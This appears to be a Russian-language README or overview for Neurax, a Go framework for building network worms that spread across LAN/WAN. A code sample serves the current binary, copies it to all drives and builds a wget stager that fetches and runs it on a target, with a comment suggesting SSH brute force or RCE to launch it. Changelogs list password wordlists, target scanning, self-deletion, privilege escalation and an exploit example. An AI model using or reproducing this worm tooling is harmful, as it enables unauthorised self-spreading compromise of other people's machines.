Фреймворк, помогающий в создании самораспространяющегося ПО
Обзор
С помощью Neurax бинарные файлы Golang могут распространяться по LAN/WAN без использования внешних серверов.
Разнообразные параметры конфигурации и командные стейджеры позволяют быстро распространяться в различных беспроводных средах.
Пример кода
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Указать порт обслуживания и используемый стейджер
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Запустить сервер, который предоставляет текущий бинарный файл в фоновом режиме
go NeuraxServer()
//Скопировать текущий бинарный файл на все логические диски
NeuraxDisks()
//Создать командный стейджер, который должен быть запущен на целевой машине
//Он загрузит, декодирует и выполнит бинарный файл
cmd_stager := NeuraxStager()
/* Теперь вам нужно каким-то образом выполнить команду, сгенерированную выше.
Вы можете использовать SSH-брутфорс, какую-нибудь RCE или что-то ещё ;> */
}
Новое в версии 2.X (отдельный подпроект)
- Рефакторинг: отказ от подхода, напоминающего фреймворк, в пользу готового бинарного файла
- Универсальный стейджер wget для всех UNIX-целей
- Единый файл конфигурации для настройки поведения червя на лету
- Автоматическое самоудаление через
unlinkat(2)
- Пример эксплойта CVE для LinuxKI в дополнение к возможностям сетевого распространения
- JSON-файл конфигурации загружается и обрабатывается
- Минималистичная перезапись сборщика хостов
Новое в версии 2.5
- Опциональное фоновое выполнение бинарного файла второй стадии (
N.StagerBg)
- Командный стейджер сохраняет и выполняет в контекстно-локальном пути
- Также удаляет загруженный бинарный файл сразу после успешного выполнения
- Удалён механизм синхронизированного выполнения команд из-за проблем со скоростью/стабильностью.
Я придумаю достойную альтернативу к следующему релизу.
N.NoInfectCheck для отключения проверки, заражён ли хост уже.
- Политика однократного выполнения на целевой машине, обеспечиваемая эксклюзивной файловой блокировкой, размещённой внутри
NeuraxServer().
- Добавлена вложенная горутина для обслуживания бинарного файла
- Новый стейджер
httrack для Linux
- Закомментированный общий словарь для обхода обнаружения
- Командный стейджер может ждать перед удалением бинарного файла (
N.StagerRemovalDelay)
Новое в версии 2.0
- Новые мутаторы словарей + общие пароли по странам
- Импровизированное пассивное сканирование
- Опция
.FastScan, делающая активные сканирования немного быстрее
- Словари создаются строго в памяти
NeuraxScan() принимает функцию обратного вызова вместо канала в качестве аргумента.
NeuraxScan() сканирует в бесконечном цикле с возможностью установки интервала между каждым сканированием всей подсети/пула целей
- Обратный DNS-запрос для целей, не имеющих формат IP
- Извлечение кандидатов в цели из ARP-кэша
- Возможность сканировать только выбранный список целей + приоритезация конкретных целей (например, шлюзов по умолчанию)
- Возможность указать интерфейс и тайм-аут при использовании пассивного сетевого сканирования.
- Улучшенный командный стейджер (может опционально выполняться с повышенными привилегиями / несколько раз)
- Несколько изменений имён опций
NeuraxConfig. стало N. (потому что короче писать)
- Функции для случайного выделения памяти + миграции бинарного файла
- Возможность объединять несколько стейджеров в цепочку (например,
wget + curl)
- Объём и сложность создаваемого словаря можно легко настроить (с помощью таких опций, как
.WordlistExpand)
- Возможность установить время жизни созданного бинарного файла
Список записей конфигурации